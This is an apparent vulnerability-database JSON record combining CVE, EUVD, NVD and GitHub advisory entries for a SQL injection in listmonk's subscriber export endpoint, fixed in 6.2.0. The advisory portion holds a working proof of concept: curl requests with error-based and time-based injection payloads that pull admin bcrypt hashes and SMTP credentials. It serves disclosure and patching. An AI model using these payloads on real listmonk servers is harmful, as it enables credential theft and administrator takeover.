{"id":"EUVD-2026-44815","revision":null,"records":[{"revision":"2e82f06673bb4a2ead61cef4b8d26be4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-62361","aliases":[],"title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","state":0,"publishedAt":"2026-07-15T20:56:45.832+00:00","modifiedAt":"2026-07-16T15:12:24.544+00:00","affected":[{"ecosystem":"Vendor product","name":"listmonk","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"knadh\",\n                    \"product\": \"listmonk\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.2.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r","https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","https://github.com/knadh/listmonk/releases/tag/v6.2.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-62361","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-62361","identifiers":["CVE-2026-62361"]},"retained":false,"historicalAffected":[]},{"revision":"60da6b1fede349479e369110a198fced","observedAt":"2026-11-06T19:05:42.389+00:00","statement":{"source":"euvd","id":"EUVD-2026-44815","aliases":["CVE-2026-62361","GHSA-xgjr-7j9q-2h4r"],"title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","score":5.5,"severity":null}],"references":["https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r","https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","https://github.com/knadh/listmonk/releases/tag/v6.2.0","https://nvd.nist.gov/vuln/detail/CVE-2026-62361"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-44815","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 6, 2026, 6:15:17 PM","dateUpdated":"Nov 6, 2026, 6:15:17 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-44815","identifiers":["EUVD-2026-44815","CVE-2026-62361","GHSA-xgjr-7j9q-2h4r"]},"retained":false,"historicalAffected":[]},{"revision":"d80a494aee934213b416fa585fe90d56","observedAt":"2026-11-06T19:05:15.324+00:00","statement":{"source":"nvd","id":"CVE-2026-62361","aliases":[],"title":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscrib…","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","state":0,"publishedAt":"2026-07-15T21:16:55.933+00:00","modifiedAt":"2026-10-24T21:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","https://github.com/knadh/listmonk/releases/tag/v6.2.0","https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62361","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-89"],"productCriteria":[],"sourceDates":{"published":"2026-07-15T21:16:55.933","lastModified":"2026-10-24T21:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-62361","identifiers":["CVE-2026-62361"]},"retained":false,"historicalAffected":[]},{"revision":"3b89e32cf17640d3bfdca63c476df897","observedAt":"2026-11-06T19:05:05.682+00:00","statement":{"source":"osv","id":"GHSA-xgjr-7j9q-2h4r","aliases":["CVE-2026-62361"],"title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` — protected path (regular query):**\n\n```go\n// QuerySubscribers — table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n        fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` — vulnerable path (export):**\n\n```go\n// ExportSubscribers — NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt)  // executes directly without restriction\n```\n\n**`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != 'blocklisted') AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 — Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 400: {\"message\":\"Error preparing subscriber query: table 'users' is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 — Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 — Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 — Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds — confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk's security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.","state":0,"publishedAt":"2026-11-06T18:15:17+00:00","modifiedAt":"2026-11-06T18:30:03.8046188+00:00","affected":[{"ecosystem":"Go","name":"github.com/knadh/listmonk","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.1-0.20260619102436-c0a6525009a6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r","https://nvd.nist.gov/vuln/detail/CVE-2026-62361","https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","https://github.com/knadh/listmonk","https://github.com/knadh/listmonk/releases/tag/v6.2.0"],"sourceUrl":"https://github.com/advisories/GHSA-xgjr-7j9q-2h4r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xgjr-7j9q-2h4r","identifiers":["GHSA-xgjr-7j9q-2h4r","CVE-2026-62361"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7321274+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7321285+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5c528217d29c5c98b43a1b5cb9374bfc12e416181b0a739875f92516cb8a8a5e","complete":true,"records":420948,"lastAttemptAt":"2026-11-07T22:52:12.9854034+00:00","lastSuccessAt":"2026-11-07T22:52:12.8993102+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:12.9854034+00:00","snapshotPublishedAt":"2026-11-07T22:22:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dbacfbec4fd946d19a6e298e52e60834","complete":false,"records":13633,"lastAttemptAt":"2026-11-07T22:53:15.8229094+00:00","lastSuccessAt":"2026-11-07T22:53:15.819+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:53:15.819+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7328786+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7328787+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e0026f7679544d118882d7f7d52e10c2","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T22:52:39.2626518+00:00","lastSuccessAt":"2026-11-07T22:52:39.256+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:39.256+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T22:52:13.4112712+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.4112712+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T22:52:13.1710092+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.1710092+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T22:52:13.522543+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.522543+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T22:52:13.2901378+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.2901378+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}